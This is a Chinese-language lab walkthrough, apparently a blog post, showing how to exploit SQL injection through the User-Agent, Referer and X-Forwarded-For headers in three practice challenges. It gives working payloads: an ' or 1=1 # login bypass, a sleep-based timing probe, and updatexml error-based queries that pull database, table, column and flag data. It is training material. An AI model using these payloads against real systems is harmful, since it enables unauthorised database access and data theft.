欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Head注入(USERANGENT、Referer、X-forword-for)

程序员文章站 2022-05-15 09:42:28
...

Head注入

靶场地址
原理:
head注入就是通过burp抓包,修改它的请求头useagent的数据来和数据库进行交互查询数据

第一题:

我们先查看url栏,没有get传参

再尝试post传参
在usename栏输入代码

' or 1=1 #

Head注入(USERANGENT、Referer、X-forword-for)发现usename不行查看源代码,可以通过password传参
Head注入(USERANGENT、Referer、X-forword-for)接着我们尝试头注入,查看源代码,发*现它使用了超全局变量$uagent = $_SERVER[‘HTTP_USER_AGENT’];并且它有个if语句必须要登陆才可以插入usergent语句,我们已经通过password找到了账号密码,并且登陆成功,所以直接用admin 和123456
Head注入(USERANGENT、Referer、X-forword-for)Head注入(USERANGENT、Referer、X-forword-for)利用谷歌插件,进行请求头修改

'or sleep(5),1)#

发现网页有明显的延迟,判断正确。
于是我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

获得数据库名:head_error
Head注入(USERANGENT、Referer、X-forword-for)再继续查表名,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

Head注入(USERANGENT、Referer、X-forword-for)查出表名
flag_head
ip
refer
uagent
user

再查字段,把下面代码输入到谷歌插件中

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)得出所有字段名:
id
flag_h1
于是直接用最后输入sql语句代码

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)所有flag为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip
验证为第一个

第一题完

第二题:

和第一题类似
首先找到登陆账号密码
Head注入(USERANGENT、Referer、X-forword-for)我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

然后直接用burp抓包修改refer,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

Head注入(USERANGENT、Referer、X-forword-for)查询数据为
Head注入(USERANGENT、Referer、X-forword-for)得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)得到所有flag
Head注入(USERANGENT、Referer、X-forword-for)第二题和第一题区别就是一个修改useragent 一个修改refer

第二题完

第三题:

查看源代码
Head注入(USERANGENT、Referer、X-forword-for)Head注入(USERANGENT、Referer、X-forword-for)它这里替换的是ip
所以我们直接修改ip进行传参即可,我们用谷歌插件,X-Forwarded-For进行传参

Head注入(USERANGENT、Referer、X-forword-for)输入代码

'or updatexml(1,concat(0x7e,(select database())),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)得到数据库名
我们继续查表名:
输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

Head注入(USERANGENT、Referer、X-forword-for)得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)但是最后一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #

Head注入(USERANGENT、Referer、X-forword-for)
验证即,正确

第三题完